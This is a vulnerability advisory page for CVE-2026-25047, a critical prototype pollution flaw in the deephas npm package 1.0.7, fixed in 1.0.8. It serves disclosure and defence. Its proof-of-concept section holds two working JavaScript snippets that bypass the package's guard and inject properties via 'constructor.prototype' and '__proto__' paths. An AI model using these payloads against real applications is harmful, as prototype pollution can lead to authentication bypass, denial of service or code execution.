CVE-2026-25047
JSON

9.4critical

deepHas vulnerable to Prototype Pollution via constructor.prototype

Severity
9.4critical CVSS:4.0 by GitHub_M
Exploit likelihood
0.80% (higher than 57% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-2733-6c58-pf27

Description

deepHas provides a test for the existence of a nested object key and optionally returns that key. A prototype pollution vulnerability exists in version 1.0.7 of the deephas npm package that allows an attacker to modify global object behavior. This issue was fixed in version 1.0.8.

Affected

Product or packageVersionsReported by
sharpred deepHas< 1.0.7, 1.0.7CVE List, NVD
deephas (npm)before 1.0.8GitHub Advisory Database

All scores

GitHub_M9.4critical CVSS:4.0CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
GitHubcritical CVSS:4.0CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
NVD8.8high CVSS:3.1CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Classification

CWE-1321

SSVC (CISA-ADP): exploitation none, automatable no, technical impact total.

What each source says

CVE List

deepHas provides a test for the existence of a nested object key and optionally returns that key. A prototype pollution vulnerability exists in version 1.0.7 of the deephas npm package that allows an attacker to modify global object behavior. This issue was fixed in version 1.0.8.

GitHub Advisory Database
Summary

A prototype pollution vulnerability exists in version 1.0.7 of the deephas npm package that allows an attacker to modify global object behavior. This issue was fixed in version 1.0.8.

Details

The vulnerability resides in the add() function and indexer() function implemented within deepHas.js. Although version 1.0.7 attempts to prevent prototype pollution by checking property ownership (e.g., using Object.hasOwnProperty) and by checking against forbidden string usage (using String.prototype.indexOf), this check can be bypassed as shown in the PoC

By doing so, an attacker can inject properties into Object.prototype through a payload such as constructor.prototype.polluted or proto.polluted resulting in prototype pollution.

This issue affects all JavaScript runtimes that rely on npm packages (including Node.js, Deno, and Bun) and is independent of the operating system.

PoC
Steps to reproduce
  1. Install version 1.0.7 of deephas using npm install
  2. Run one of the following code snippets:
//PoC 1
Object.prototype.hasOwnProperty = () => true;
console.log({}.polluted);
const dh = require('deephas');
let obj = {};
dh.set(obj, 'constructor.prototype.polluted', 'yes');
console.log('{ ' + obj.polluted + ', ' + 'yes' + ' }'); // prints yes => the patch is bypassed and prototype pollution occurred

OR

//PoC 2
String.prototype.indexOf = () => -1;
console.log({}.polluted);
const dh = require('deephas');
let obj = {};
dh.set(obj, '__proto__.polluted', 'yes');
console.log('{ ' + obj.polluted + ', ' + 'yes' + ' }'); // prints yes => the patch is bypassed and prototype pollution occurred
Expected behavior

Prototype pollution should be prevented and {} should not gain new properties. This should be printed on the console:

undefined
undefined OR throw an Error
Actual behavior

Object.prototype is polluted and the property polluted becomes globally accessible. This is printed on the console:

undefined
yes
Impact

This is a prototype pollution vulnerability, which can have severe security implications depending on how deephas is used by downstream applications. Any application that processes attacker-controlled input using deephas.set may be affected. It could potentially lead to the following problems:

  1. Authentication bypass
  2. Denial of service
  3. Remote code execution (if polluted property is passed to sinks like eval or child_process)
NVD (es)

deepHas proporciona una prueba para la existencia de una clave de objeto anidado y opcionalmente devuelve esa clave. Existe una vulnerabilidad de contaminación de prototipos en la versión 1.0.7 del paquete npm deephas que permite a un atacante modificar el comportamiento de objetos globales. Este problema fue solucionado en la versión 1.0.8.

References

Sources

SourceRecordLicence
CVE ListCVE-2026-25047 changed 2026-02-02CVE Terms of Use
GitHub Advisory DatabaseGHSA-2733-6c58-pf27 changed 2026-02-28CC-BY-4.0
NVDCVE-2026-25047 changed 2026-06-17Public domain